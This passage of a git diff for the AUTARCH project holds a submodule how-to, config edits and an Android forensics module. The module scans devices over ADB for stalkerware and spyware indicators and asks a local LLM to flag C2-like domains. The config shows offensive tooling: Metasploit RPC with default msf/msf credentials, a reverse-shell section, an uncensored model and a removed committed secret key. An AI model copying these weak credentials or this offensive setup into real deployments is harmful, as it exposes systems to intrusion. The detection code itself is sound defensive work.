submodules): + +```bash +git submodule update --init --recursive +``` + +--- + +## 6. Updating Archon to a Newer Commit + +The submodule is pinned to a specific commit. To move AUTARCH's pointer to a newer Archon commit: + +```bash +# Step into the submodule +cd Archon +git checkout main +git pull origin main + +# Step back out to AUTARCH +cd .. + +# The submodule pointer has changed — stage and commit it +git add Archon +git commit -m "Update Archon submodule to latest" +git push origin main +``` + +After this, anyone who runs `git submodule update` in their AUTARCH clone will get the newer Archon commit. + +--- + +## 7. Gitea UI — How Submodules Are Displayed + +When you browse to `https://gitea.example.com/you/autarch` in the Gitea web UI, the `Archon` directory will appear in the file list with a special icon and a label like: + +``` +Archon @ a3f92c1 +``` + +The `@ a3f92c1` is a clickable link that takes you directly to that commit in the `archon` repository. Gitea resolves the link automatically as long as both repos are on the same Gitea instance and the URL in `.gitmodules` matches. + +If the submodule URL points to an external host (e.g., GitHub), Gitea will still show the `@ hash` label but the link will point to the external URL. + +--- + +## 8. CI/CD — Checking Out Submodules in Gitea Actions + +If you use Gitea Actions (workflow syntax is identical to GitHub Actions), the default `actions/checkout` step does **not** pull submodules. Add `submodules: true` to fix this: + +```yaml +name: AUTARCH CI + +on: [push, pull_request] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout AUTARCH with submodules + uses: actions/checkout@v4 + with: + submodules: true # fetches Archon at the pinned commit + # submodules: recursive # use this if submodules have their own submodules + + - name: Build + run: make build +``` + +For private submodules on the same Gitea instance, you may need to configure an SSH key or access token in the workflow secrets and set the submodule URL to use SSH. + +--- + +## 9. Common Pitfalls + +### Detached HEAD in the submodule + +When you run `git submodule update`, the submodule is checked out at a specific commit — not a branch. This is called a **detached HEAD** state. If you `cd Archon` and make commits while in detached HEAD, those commits are not on any branch and can be lost. + +Fix: before making changes inside the submodule, always check out a branch first: + +```bash +cd Archon +git checkout main +# now make changes, commit, push +``` + +### Forgot to commit after updating the submodule + +Running `cd Archon && git pull` updates the Archon files locally but does **not** automatically update AUTARCH's pointer to the new commit. You must come back to the AUTARCH root and commit: + +```bash +cd .. +git add Archon +git commit -m "Update Archon submodule" +``` + +If you push AUTARCH without doing this, the pointer still points to the old Archon commit and collaborators won't get the update. + +### SSH vs HTTPS + +Choose one scheme and be consistent. If your team uses SSH keys for Gitea authentication, use the SSH URL in `.gitmodules`: + +```ini +url = git@gitea.example.com:you/archon.git +``` + +If you use HTTPS with a token, use the HTTPS URL. Mixing them causes authentication failures for people whose environment only has one configured. + +You can override the URL locally (without touching `.gitmodules`) using: + +```bash +git config submodule.Archon.url git@gitea.example.com:you/archon.git +``` + +This writes to `.git/config` and is not committed, so it only affects your local clone. + +### Cloning without `--recurse-submodules` + +If someone clones AUTARCH normally and then tries to build, the `Archon/` directory will exist but be **empty**. They need to run: + +```bash +git submodule update --init +``` + +Document this in your project README so contributors know to expect it. diff --git a/autarch_companion/gradle.properties b/autarch_companion/gradle.properties index f0a2e55..6351f61 100644 --- a/autarch_companion/gradle.properties +++ b/autarch_companion/gradle.properties @@ -2,3 +2,4 @@ org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 android.useAndroidX=true kotlin.code.style=official android.nonTransitiveRClass=true +android.aapt2FromMavenOverride=/home/snake/android-sdk/build-tools/36.0.0/aapt2 diff --git a/autarch_companion/gradlew.bat b/autarch_companion/gradlew.bat old mode 100644 new mode 100755 diff --git a/autarch_companion/local.properties b/autarch_companion/local.properties index 6ad19ca..a15a388 100644 --- a/autarch_companion/local.properties +++ b/autarch_companion/local.properties @@ -1 +1 @@ -sdk.dir=C:/Users/mdavi/AppData/Local/Android/Sdk +sdk.dir=/home/snake/android-sdk diff --git a/autarch_companion_compose/settings.gradle.kts b/autarch_companion_compose/settings.gradle.kts new file mode 100644 index 0000000..cef550a --- /dev/null +++ b/autarch_companion_compose/settings.gradle.kts @@ -0,0 +1,16 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} +dependencyResolution { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + } +} +rootProject.name = "ArchonCompose" +include(":app") diff --git a/autarch_settings.conf b/autarch_settings.conf index 11c27f0..f18f337 100644 --- a/autarch_settings.conf +++ b/autarch_settings.conf @@ -1,5 +1,5 @@ [llama] -model_path = C:\she\autarch\models\darkHal.gguf +model_path = C:\Track 1\model\sssnake7070\HauhauCS\Qwen3.5-9B-Uncensored-HauhauCS-Aggressive\Qwen3.5-9B-Uncensored-HauhauCS-Aggressive-Q4_K_M.gguf n_ctx = 2048 n_threads = 4 n_gpu_layers = -1 @@ -29,7 +29,7 @@ no_banner = false host = 127.0.0.1 port = 55553 username = msf -password = msdf +password = msf ssl = true [osint] @@ -76,7 +76,7 @@ default_port = 80 execution_timeout = 120 [upnp] -enabled = true +enabled = false internal_ip = 10.0.0.26 refresh_hours = 12 mappings = 443:TCP,51820:UDP,8080:TCP @@ -108,7 +108,7 @@ bt_require_security = true [web] host = 0.0.0.0 port = 8181 -secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007 +secret_key = mcp_port = 8081 [revshell] @@ -150,18 +150,18 @@ threat_threshold_auto_respond = 40 log_max_entries = 1000 [agents] -backend = local -local_max_steps = 20 +backend = claude +local_max_steps = 200 local_verbose = true claude_enabled = false claude_model = claude-sonnet-4-6 claude_max_tokens = 16384 -claude_max_steps = 30 +claude_max_steps = 200 openai_enabled = false openai_model = gpt-4o openai_base_url = https://api.openai.com/v1 openai_max_tokens = 16384 -openai_max_steps = 30 +openai_max_steps = 200 [mcp] enabled = false diff --git a/core/agent.py b/core/agent.py index 0e6926a..8b1a7de 100644 --- a/core/agent.py +++ b/core/agent.py @@ -80,7 +80,7 @@ PARAMS: {{"question": "your question"}} self, llm: LLM = None, tools: ToolRegistry = None, - max_steps: int = 20, + max_steps: int = 200, verbose: bool = True ): """Initialize the agent. diff --git a/core/android_forensics.py b/core/android_forensics.py new file mode 100644 index 0000000..a1e6f62 --- /dev/null +++ b/core/android_forensics.py @@ -0,0 +1,871 @@ +""" +Autarch Android Forensics — forensic acquisition and IOC scanning for Android devices. +by: SsSnake +""" + +import json +import os +import re +from datetime import datetime +from pathlib import Path + +_manager = None + + +def get_android_forensics_manager(): + global _manager + if _manager is None: + _manager = AutarchAndroidManager() + return _manager + + +class AutarchAndroidManager: + """Forensic acquisition and IOC scanning for Android devices.""" + + IOC_DATA_DIR = Path(__file__).parent.parent / 'data' / 'ioc' + ACQ_DATA_DIR = Path(__file__).parent.parent / 'data' / 'android_forensics' + + def __init__(self): + self._ioc_db = None # lazy-loaded + + # ── Helpers ───────────────────────────────────────────────────── + + def _hw(self): + from core.hardware import get_hardware_manager + return get_hardware_manager() + + def _adb(self, serial, cmd, timeout=60): + """Run an ADB shell command, return stdout string.""" + result = self._hw().adb_shell_raw(serial, cmd, timeout=timeout) + if isinstance(result, dict): + return result.get('output', '') or '' + return str(result or '') + + def _acq_dir(self, serial, acq_id): + d = self.ACQ_DATA_DIR / serial / acq_id + d.mkdir(parents=True, exist_ok=True) + return d + + def _new_acq_id(self): + return datetime.now().strftime('%Y%m%d_%H%M%S') + + # ── IOC Database ──────────────────────────────────────────────── + + def load_ioc_database(self, force=False): + """Lazy-load and merge all IOC data from data/ioc/. Returns merged dict.""" + if self._ioc_db is not None and not force: + return self._ioc_db + + db = { + 'packages': {}, # pkg_name -> {name, source, severity} + 'certs': {}, # sha1/sha256 -> {name, source} + 'domains': {}, # domain -> {name, source} + 'ips': set(), + 'file_paths': {}, # path -> {name, source} + 'processes': {}, # proc_name -> {name, source} + 'hashes': {}, # sha256 -> {name, source} + } + + # 1. Stalkerware ioc.yaml + watchware.yaml + for fname in ('ioc.yaml', 'watchware.yaml'): + fpath = self.IOC_DATA_DIR / 'stalkerware' / fname + if fpath.exists(): + self._parse_stalkerware_yaml(fpath, db) + + # 2. Amnesty investigations + amnesty_dir = self.IOC_DATA_DIR / 'spyware' / 'amnesty' + if amnesty_dir.exists(): + for campaign_dir in sorted(amnesty_dir.iterdir()): + if campaign_dir.is_dir(): + self._parse_investigation(campaign_dir, db) + + # 3. MVT indicators + mvt_dir = self.IOC_DATA_DIR / 'spyware' / 'mvt' + if mvt_dir.exists(): + for campaign_dir in sorted(mvt_dir.iterdir()): + if campaign_dir.is_dir(): + self._parse_investigation(campaign_dir, db) + + # 4. Citizen Lab campaigns + cl_dir = self.IOC_DATA_DIR / 'spyware' / 'citizen_lab' + if cl_dir.exists(): + for campaign_dir in sorted(cl_dir.iterdir()): + if campaign_dir.is_dir(): + self._parse_investigation(campaign_dir, db) + + # 5. iMazing indicators (recursive) + imazing_dir = self.IOC_DATA_DIR / 'spyware' / 'imazing' + if imazing_dir.exists(): + for item in imazing_dir.rglob('*'): + if item.is_dir(): + self._parse_investigation(item, db) + + # 6. Existing stalkerware_signatures.json + sigs_path = Path(__file__).parent.parent / 'data' / 'stalkerware_signatures.json' + if sigs_path.exists(): + self._parse_sigs_json(sigs_path, db) + + # Convert ips set to list for JSON serialisation + db['ips'] = list(db['ips']) + + self._ioc_db = db + self._save_index(db) + return db + + def _parse_stalkerware_yaml(self, path, db): + """Parse stalkerware/watchware ioc.yaml into db.""" + try: + import yaml + except ImportError: + return + try: + with open(path, encoding='utf-8', errors='ignore') as f: + data = yaml.safe_load(f) + if not isinstance(data, dict): + return + for vendor, info in data.items(): + if not isinstance(info, dict): + continue + source = f'stalkerware/{path.name}:{vendor}' + for pkg in info.get('packages', []) or []: + if pkg: + db['packages'][pkg] = {'name': vendor, 'source': source, 'severity': 'high'} + for cert in info.get('certificates', []) or []: + if cert: + db['certs'][cert.lower()] = {'name': vendor, 'source': source} + for domain in (info.get('domains', []) or []) + (info.get('c2', []) or []) + (info.get('website', []) or []): + if domain: + db['domains'][domain.lower()] = {'name': vendor, 'source': source} + except Exception: + pass + + def _parse_investigation(self, campaign_dir, db): + """Parse a campaign directory for IOC text files and STIX2.""" + name = campaign_dir.name + source = f'spyware/{campaign_dir.parent.name}/{name}' + + for f in campaign_dir.iterdir(): + if not f.is_file(): + continue + fname = f.name.lower() + + if fname in ('domains.txt', 'domains'): + self._load_txt_lines(f, db['domains'], name, source) + elif fname in ('package_names.txt', 'package_names'): + self._load_txt_lines(f, db['packages'], name, source, extra={'severity': 'critical'}) + elif fname in ('processes.txt', 'processes'): + self._load_txt_lines(f, db['processes'], name, source) + elif fname in ('file_paths.txt', 'file_paths'): + self._load_txt_lines(f, db['file_paths'], name, source) + elif fname in ('ips.txt', 'ip_addresses.txt', 'ip-addresses.txt'): + self._load_txt_set(f, db['ips']) + elif fname.endswith('.stix2') or fname.endswith('_stix.json'): + self._parse_stix(f, db, name, source) + elif fname in ('sha256.txt', 'sha256.csv'): + self._load_hashes(f, db['hashes'], name, source) + elif fname == 'package_cert_hashes.txt': + self._load_txt_lines(f, db['certs'], name, source) + elif fname.endswith('.json') and 'ioc' in fname: + self._parse_ioc_json(f, db, name, source) + elif fname.endswith('.csv') and 'ioc' in fname: + self._parse_ioc_csv(f, db, name, source) + + def _load_txt_lines(self, path, target_dict, name, source, extra=None): + """Load one-indicator-per-line text file into a dict.""" + try: + with open(path, encoding='utf-8', errors='ignore') as f: + for line in f: + line = line.strip().lower() + if line and not line.startswith('#'): + entry = {'name': name, 'source': source} + if extra: + entry.update(extra) + target_dict[line] = entry + except Exception: + pass + + def _load_txt_set(self, path, target_set): + try: + with open(path, encoding='utf-8', errors='ignore') as f: + for line in f: + line = line.strip() + if line and not line.startswith('#'): + target_set.add(line) + except Exception: + pass + + def _load_hashes(self, path, target_dict, name, source): + try: + with open(path, encoding='utf-8', errors='ignore') as f: + for line in f: + parts = line.strip().split(',') + h = parts[0].strip().lower() + if h and len(h) in (32, 40, 64): + target_dict[h] = {'name': name, 'source': source} + except Exception: + pass + + def _parse_stix(self, path, db, name, source): + """Parse a STIX2 JSON file for indicators.""" + try: + with open(path, encoding='utf-8', errors='ignore') as f: + data = json.load(f) + objects = data.get('objects', []) if isinstance(data, dict) else [] + for obj in objects: + if obj.get('type') != 'indicator': + continue + pattern = obj.get('pattern', '') + for m in re.findall(r"domain-name:value\s*=\s*'([^']+)'", pattern): + db['domains'][m.lower()] = {'name': name, 'source': source} + for m in re.findall(r"file:hashes\.'[^']+'\s*=\s*'([a-fA-F0-9]+)'", pattern): + db['hashes'][m.lower()] = {'name': name, 'source': source} + for m in re.findall(r"process:name\s*=\s*'([^']+)'", pattern): + db['processes'][m.lower()] = {'name': name, 'source': source} + for m in re.findall(r"(?:file:name|directory:path)\s*=\s*'([^']+)'", pattern): + db['file_paths'][m] = {'name': name, 'source': source} + for m in re.findall(r"ipv[46]-addr:value\s*=\s*'([^']+)'", pattern): + db['ips'].add(m) + except Exception: + pass + + def _parse_ioc_json(self, path, db, name, source): + try: + with open(path, encoding='utf-8', errors='ignore') as f: + data = json.load(f) + items = data.get('items', data.get('iocs', [])) if isinstance(data, dict) else data + if not isinstance(items, list): + return + for item in items: + if not isinstance(item, dict): + continue + itype = item.get('type', '').lower() + val = str(item.get('value', item.get('indicator', ''))).strip().lower() + if not val: + continue + if 'domain' in itype: + db['domains'][val] = {'name': name, 'source': source} + elif 'ip' in itype: + db['ips'].add(val) + elif 'hash' in itype or 'sha' in itype or 'md5' in itype: + db['hashes'][val] = {'name': name, 'source': source} + except Exception: + pass + + def _parse_ioc_csv(self, path, db, name, source): + try: + import csv + with open(path, encoding='utf-8', errors='ignore', newline='') as f: + reader = csv.DictReader(f) + for row in reader: + val = (row.get('value') or row.get('indicator') or row.get('domain') or '').strip().lower() + itype = (row.get('type') or row.get('indicator_type') or '').lower() + if not val: + continue + if 'domain' in itype: + db['domains'][val] = {'name': name, 'source': source} + elif 'hash' in itype or 'sha256' in itype: + db['hashes'][val] = {'name': name, 'source': source} + except Exception: + pass + + def _parse_sigs_json(self, path, db): + """Merge existing stalkerware_signatures.json into db.""" + try: + with open(path, encoding='utf-8') as f: + data = json.load(f) + for vendor, info in data.get('stalkerware', {}).items(): + source = f'stalkerware_signatures.json:{vendor}' + sev = info.get('severity', 'high') + for pkg in info.get('packages', []): + if pkg and pkg not in db['packages']: + db['packages'][pkg] = {'name': vendor, 'source': source, 'severity': sev} + for spyware in data.get('government_spyware', []): + name = spyware.get('name', 'unknown') + source = f'stalkerware_signatures.json:{name}' + for ind in spyware.get('indicators', []): + itype = ind.get('type', '') + val = ind.get('value', '') + if not val: + continue + if itype == 'process': + db['processes'][val.lower()] = {'name': name, 'source': source} + elif itype == 'domain': + db['domains'][val.lower()] = {'name': name, 'source': source, 'severity': 'critical'} + elif itype == 'file_path': + db['file_paths'][val] = {'name': name, 'source': source} + except Exception: + pass + + def _save_index(self, db): + try: + def _count_dirs(d): + return sum(1 for p in d.iterdir() if p.is_dir()) if d.exists() else 0 + + ips = db.get('ips', []) + index = { + 'generated': datetime.now().isoformat(), + 'counts': { + 'packages': len(db.get('packages', {})), + 'certs': len(db.get('certs', {})), + 'domains': len(db.get('domains', {})), + 'ips': len(ips) if not isinstance(ips, set) else len(ips), + 'file_paths': len(db.get('file_paths', {})), + 'processes': len(db.get('processes', {})), + 'hashes': len(db.get('hashes', {})), + }, + 'sources': { + 'stalkerware_ioc_yaml': (self.IOC_DATA_DIR / 'stalkerware' / 'ioc.yaml').exists(), + 'amnesty_investigations': _count_dirs(self.IOC_DATA_DIR / 'spyware' / 'amnesty'), + 'mvt_campaigns': _count_dirs(self.IOC_DATA_DIR / 'spyware' / 'mvt'), + 'citizen_lab_campaigns': _count_dirs(self.IOC_DATA_DIR / 'spyware' / 'citizen_lab'), + 'yara_rules': sum(1 for _ in (self.IOC_DATA_DIR / 'yara').rglob('*.yar*')) + if (self.IOC_DATA_DIR / 'yara').exists() else 0, + }, + } + self.IOC_DATA_DIR.mkdir(parents=True, exist_ok=True) + with open(self.IOC_DATA_DIR / 'index.json', 'w', encoding='utf-8') as f: + json.dump(index, f, indent=2) + except Exception: + pass + + def get_ioc_stats(self): + """Return IOC database statistics (from index.json if available).""" + idx_path = self.IOC_DATA_DIR / 'index.json' + if idx_path.exists(): + try: + with open(idx_path, encoding='utf-8') as f: + return json.load(f) + except Exception: + pass + db = self.load_ioc_database() + return {'counts': {k: len(v) for k, v in db.items() if isinstance(v, (dict, list))}} + + def reload_ioc_database(self): + """Force reload all IOC data from disk.""" + self._ioc_db = None + return self.load_ioc_database(force=True) + + # ── Acquisition Methods ───────────────────────────────────────── + + def acquire_packages(self, serial): + """Get list of installed packages with paths and system/user classification.""" + try: + all_out = self._adb(serial, 'pm list packages -f', timeout=30) + sys_out = self._adb(serial, 'pm list packages -s', timeout=30) + + # Build system package set from -s output (format: "package:com.pkg.name") + sys_pkgs = set() + for line in sys_out.splitlines(): + line = line.strip() + if line.startswith('package:'): + sys_pkgs.add(line[8:].strip()) + + # Parse -f output (format: "package:/path/to/base.apk=com.pkg.name") + packages = [] + for line in all_out.splitlines(): + line = line.strip() + if not line.startswith('package:'): + continue + line = line[8:] # strip "package:" + # Split on last '=' to handle paths that may contain '=' + eq_pos = line.rfind('=') + if eq_pos == -1: + pkg_name = line + apk_path = '' + else: + apk_path = line[:eq_pos] + pkg_name = line[eq_pos + 1:] + pkg_name = pkg_name.strip() + if pkg_name: + packages.append({ + 'package': pkg_name, + 'path': apk_path.strip(), + 'system': pkg_name in sys_pkgs, + }) + return {'ok': True, 'packages': packages, 'total': len(packages)} + except Exception as e: + return {'ok': False, 'error': str(e), 'packages': []} + + def acquire_processes(self, serial): + """Get list of running processes.""" + try: + out = self._adb(serial, 'ps -A', timeout=30) + lines = [l for l in out.splitlines() if l.strip()] + return {'ok': True, 'output': out, 'count': max(0, len(lines) - 1)} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_getprop(self, serial): + """Get all system properties via getprop.""" + try: + out = self._adb(serial, 'getprop', timeout=30) + props = {} + for line in out.splitlines(): + m = re.match(r'\[(.+)\]:\s*\[(.*)\]\s*$', line) + if m: + props[m.group(1)] = m.group(2) + return {'ok': True, 'props': props, 'output': out} + except Exception as e: + return {'ok': False, 'error': str(e), 'props': {}} + + def acquire_settings(self, serial): + """Get global, secure, and system settings.""" + try: + result = {} + for ns in ('global', 'secure', 'system'): + out = self._adb(serial, f'settings list {ns}', timeout=30) + settings = {} + for line in out.splitlines(): + if '=' in line: + k, _, v = line.partition('=') + settings[k.strip()] = v.strip() + result[ns] = settings + return {'ok': True, 'settings': result} + except Exception as e: + return {'ok': False, 'error': str(e), 'settings': {}} + + def acquire_services(self, serial): + """List all running Android services.""" + try: + out = self._adb(serial, 'service list', timeout=30) + return {'ok': True, 'output': out, 'count': len(out.splitlines())} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_dumpsys(self, serial): + """Full dumpsys output (may be large).""" + try: + out = self._adb(serial, 'dumpsys', timeout=180) + return {'ok': True, 'output': out, 'size': len(out)} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_logcat(self, serial): + """Recent logcat entries (last 1000 lines).""" + try: + out = self._adb(serial, 'logcat -d -t 1000', timeout=60) + return {'ok': True, 'output': out, 'lines': len(out.splitlines())} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_tmp_files(self, serial): + """List files in /data/local/tmp/.""" + try: + out = self._adb(serial, 'ls -la /data/local/tmp/ 2>/dev/null', timeout=15) + return {'ok': True, 'output': out, 'lines': len(out.splitlines())} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_files(self, serial, max_depth=5): + """Recursive file listing from common paths.""" + try: + paths = ['/data/local/tmp', '/sdcard/Android/data', '/data/data', + '/system/app', '/data/app'] + results = [] + for base in paths: + out = self._adb( + serial, + f'find {base} -maxdepth {max_depth} -type f 2>/dev/null | head -500', + timeout=30, + ) + for line in out.splitlines(): + line = line.strip() + if line: + results.append({'path': line}) + return {'ok': True, 'files': results, 'total': len(results)} + except Exception as e: + return {'ok': False, 'error': str(e), 'files': []} + + def acquire_logs(self, serial): + """Full logcat with thread-time format (last 2000 lines).""" + try: + out = self._adb(serial, 'logcat -d -v threadtime -t 2000', timeout=90) + return {'ok': True, 'output': out, 'lines': len(out.splitlines())} + except Exception as e: + return {'ok': False, 'error': str(e), 'output': ''} + + def acquire_bugreport_info(self, serial): + """Collect bugreport header info (device state, battery, memory) without full zip.""" + try: + sections = {} + for name, cmd in [ + ('memory', 'cat /proc/meminfo'), + ('cpuinfo', 'cat /proc/cpuinfo | head -40'), + ('uptime', 'cat /proc/uptime'), + ('mounts', 'cat /proc/mounts'), + ]: + sections[name] = self._adb(serial, cmd, timeout=15) + return {'ok': True, 'sections': sections} + except Exception as e: + return {'ok': False, 'error': str(e), 'sections': {}} + + # ── IOC Scanning ──────────────────────────────────────────────── + + def scan_packages(self, serial, packages_data=None): + """Match installed packages against IOC package names.""" + db = self.load_ioc_database() + if packages_data is None: + result = self.acquire_packages(serial) + if not result.get('ok'): + return {'ok': False, 'error': result.get('error'), 'findings': []} + packages_data = result['packages'] + + findings = [] + for pkg_info in packages_data: + pkg = pkg_info.get('package', '').strip() + if pkg and pkg in db['packages']: + match = db['packages'][pkg] + findings.append({ + 'package': pkg, + 'path': pkg_info.get('path', ''), + 'system': pkg_info.get('system', False), + 'threat_name': match['name'], + 'source': match['source'], + 'severity': match.get('severity', 'high'), + 'type': 'package_match', + }) + return { + 'ok': True, + 'total_scanned': len(packages_data), + 'findings': findings, + 'clean': len(findings) == 0, + } + + def scan_certificates(self, serial): + """Check APK signing cert hashes against known-bad certs in IOC database.""" + db = self.load_ioc_database() + findings = [] + if not db.get('certs'): + return {'ok': True, 'findings': [], 'note': 'No cert IOCs loaded'} + try: + pkg_result = self.acquire_packages(serial) + # Only check user-installed (non-system) packages; limit to 100 for speed + packages = [p for p in pkg_result.get('packages', []) if not p.get('system')][:100] + for pkg_info in packages: + pkg = pkg_info.get('package', '') + if not pkg: + continue + out = self._adb(serial, f'pm dump {pkg} 2>/dev/null | grep -A2 "Signing"', timeout=15) + for line in out.splitlines(): + m = re.search(r'([a-fA-F0-9]{40,64})', line) + if m: + cert_hash = m.group(1).lower() + if cert_hash in db['certs']: + match = db['certs'][cert_hash] + findings.append({ + 'package': pkg, + 'cert_hash': cert_hash, + 'threat_name': match['name'], + 'source': match['source'], + 'severity': 'critical', + 'type': 'cert_match', + }) + except Exception as e: + return {'ok': False, 'error': str(e), 'findings': findings} + return {'ok': True, 'findings': findings, 'clean': len(findings) == 0} + + def scan_network_indicators(self, serial): + """Check DNS/proxy settings and active TCP connections against IOC domains/IPs.""" + db = self.load_ioc_database() + findings = [] + try: + props = self.acquire_getprop(serial).get('props', {}) + for key, val in props.items(): + if 'dns' in key.lower() and val and val.lower() in db['domains']: + match = db['domains'][val.lower()] + findings.append({ + 'type': 'dns_property', 'key': key, 'value': val, + 'threat_name': match['name'], 'source': match['source'], 'severity': 'high', + }) + + ioc_ips = set(db.get('ips', [])) + if ioc_ips: + tcp_out = self._adb(serial, 'cat /proc/net/tcp 2>/dev/null', timeout=15) + for line in tcp_out.splitlines()[1:]: + parts = line.strip().split() + if len(parts) < 3: + continue + try: + remote_hex = parts[2] + ip_hex, port_hex = remote_hex.split(':') + # /proc/net/tcp stores IPs in little-endian hex + ip = '.'.join(str(int(ip_hex[i:i+2], 16)) for i in (6, 4, 2, 0)) + port = int(port_hex, 16) + if ip not in ('0.0.0.0', '127.0.0.1') and ip in ioc_ips: + findings.append({ + 'type': 'tcp_connection', 'remote_ip': ip, 'remote_port': port, + 'severity': 'critical', 'source': 'network_scan', + 'threat_name': 'Known malicious IP', + }) + except Exception: + pass + except Exception as e: + return {'ok': False, 'error': str(e), 'findings': findings} + return {'ok': True, 'findings': findings, 'clean': len(findings) == 0} + + def scan_file_indicators(self, serial): + """Check device for known spyware artifact file paths.""" + db = self.load_ioc_database() + if not db.get('file_paths'): + return {'ok': True, 'findings': [], 'note': 'No file path IOCs loaded'} + findings = [] + try: + for fpath, match in list(db['file_paths'].items())[:200]: + out = self._adb(serial, f'ls "{fpath}" 2>/dev/null', timeout=5) + if out.strip() and 'No such file' not in out: + findings.append({ + 'type': 'file_path', + 'path': fpath, + 'threat_name': match['name'], + 'source': match['source'], + 'severity': 'critical', + }) + except Exception as e: + return {'ok': False, 'error': str(e), 'findings': findings} + return {'ok': True, 'findings': findings, 'clean': len(findings) == 0} + + def scan_process_indicators(self, serial): + """Cross-reference running processes against known spyware process names.""" + db = self.load_ioc_database() + if not db.get('processes'): + return {'ok': True, 'findings': [], 'note': 'No process IOCs loaded'} + findings = [] + try: + proc_output = self.acquire_processes(serial).get('output', '').lower() + for proc_name, match in db['processes'].items(): + if proc_name and proc_name in proc_output: + findings.append({ + 'type': 'process_match', + 'process': proc_name, + 'threat_name': match['name'], + 'source': match['source'], + 'severity': 'critical', + }) + except Exception as e: + return {'ok': False, 'error': str(e), 'findings': findings} + return {'ok': True, 'findings': findings, 'clean': len(findings) == 0} + + # ── SLM Heuristic Scanner ──────────────────────────────────────── + + def _heuristic_scan(self, data_type, items, threshold=0.65): + """Run SLM heuristic pass on a list of items via the local LLM. + data_type: 'packages' | 'processes' | 'network' | 'files' + Returns list of {item, score, reason, category} for items scoring >= threshold.""" + if not items: + return [] + try: + from core.llm import get_llm, LLMError + llm = get_llm() + if not llm or not llm.is_loaded: + return [] + except Exception: + return [] + + prompts = { + 'packages': ( + 'Classify each Android package name for stalkerware/spyware/adware risk. ' + 'Score 0.0-1.0. High risk: names impersonating system apps, random strings, ' + 'unknown publishers with device-admin-sounding names. ' + 'Return only a JSON array: [{"item":"...","score":0.0,"reason":"...","category":"stalkerware|adware|suspicious|clean"}]' + ), + 'processes': ( + 'Classify each Android process name for malware risk. Score 0.0-1.0. ' + 'Suspicious: random hex strings, names mimicking system processes with slight misspellings. ' + 'Return only a JSON array: [{"item":"...","score":0.0,"reason":"...","category":"malware|suspicious|clean"}]' + ), + 'network': ( + 'Classify each domain or IP for C2/malware beacon risk. Score 0.0-1.0. ' + 'High risk: DGA-looking names, dynamic DNS (duckdns, no-ip, ddns), unusual TLDs, high-entropy subdomains. ' + 'Return only a JSON array: [{"item":"...","score":0.0,"reason":"...","category":"c2_beacon|dga_domain|suspicious|clean"}]' + ), + 'files': ( + 'Classify each Android file path for spyware/stalkerware artifact risk. Score 0.0-1.0. ' + 'High risk: hidden directories, paths in /data/local/tmp, surveillance-sounding names. ' + 'Return only a JSON array: [{"item":"...","score":0.0,"reason":"...","category":"spyware|suspicious|clean"}]' + ), + } + base_prompt = prompts.get(data_type, prompts['packages']) + + findings = [] + # Process in chunks of 50 (on-device SLM token budget) + for i in range(0, len(items), 50): + chunk = items[i:i + 50] + prompt = f'{base_prompt}\n\nItems:\n' + '\n'.join(str(x) for x in chunk) + try: + raw = get_llm().generate(prompt, max_tokens=800) + # Extract JSON array from response + m = re.search(r'\[.*\]', raw, re.DOTALL) + if not m: + continue + parsed = json.loads(m.group(0)) + for entry in parsed: + if isinstance(entry, dict) and float(entry.get('score', 0)) >= threshold: + findings.append({ + 'item': str(entry.get('item', '')), + 'score': float(entry.get('score', 0)), + 'reason': str(entry.get('reason', '')), + 'category': str(entry.get('category', 'suspicious')), + 'confidence': float(entry.get('score', 0)), + 'heuristic': True, + 'data_type': data_type, + }) + except Exception: + continue + return findings + + # ── Composite Operations ───────────────────────────────────────── + + def full_acquisition(self, serial): + """Run all acquisition modules and all IOC scans. Save results to disk.""" + acq_id = self._new_acq_id() + acq_dir = self._acq_dir(serial, acq_id) + + report = { + 'acq_id': acq_id, + 'serial': serial, + 'timestamp': datetime.now().isoformat(), + 'modules': {}, + 'ioc_findings': [], + } + + module_map = { + 'packages': self.acquire_packages, + 'processes': self.acquire_processes, + 'getprop': self.acquire_getprop, + 'settings': self.acquire_settings, + 'services': self.acquire_services, + 'logcat': self.acquire_logcat, + 'tmp_files': self.acquire_tmp_files, + 'files': self.acquire_files, + 'logs': self.acquire_logs, + 'bugreport': self.acquire_bugreport_info, + } + + for mod_name, func in module_map.items(): + try: + result = func(serial) + report['modules'][mod_name] = result + with open(acq_dir / f'{mod_name}.json', 'w', encoding='utf-8') as f: + json.dump(result, f, indent=2, default=str) + except Exception as e: + report['modules'][mod_name] = {'ok': False, 'error': str(e)} + + # IOC scans — reuse already-acquired package list + packages_data = report['modules'].get('packages', {}).get('packages', []) + all_findings = [] + for scan_name, scan_func in [ + ('packages', lambda s: self.scan_packages(s, packages_data)), + ('network', self.scan_network_indicators), + ('files', self.scan_file_indicators), + ('processes', self.scan_process_indicators), + ]: + try: + scan_result = scan_func(serial) + for finding in scan_result.get('findings', []): + finding['scan_type'] = scan_name + all_findings.append(finding) + except Exception: + pass + + report['ioc_findings'] = all_findings + report['scan_summary'] = { + 'total_findings': len(all_findings), + 'critical': sum(1 for f in all_findings if f.get('severity') == 'critical'), + 'high': sum(1 for f in all_findings if f.get('severity') == 'high'), + 'clean': len(all_findings) == 0, + } + + with open(acq_dir / 'report.json', 'w', encoding='utf-8') as f: + json.dump(report, f, indent=2, default=str) + + return report + + def get_acquisition_list(self, serial): + """List past acquisitions for a device.""" + device_dir = self.ACQ_DATA_DIR / serial + if not device_dir.exists(): + return [] + acquisitions = [] + for acq_dir in sorted(device_dir.iterdir(), reverse=True): + if not acq_dir.is_dir(): + continue + report_path = acq_dir / 'report.json' + entry = {'acq_id': acq_dir.name, 'has_report': report_path.exists()} + if report_path.exists(): + try: + with open(report_path, encoding='utf-8') as f: + r = json.load(f) + entry['timestamp'] = r.get('timestamp', acq_dir.name) + entry['modules'] = list(r.get('modules', {}).keys()) + entry['findings'] = r.get('scan_summary', {}).get('total_findings', 0) + 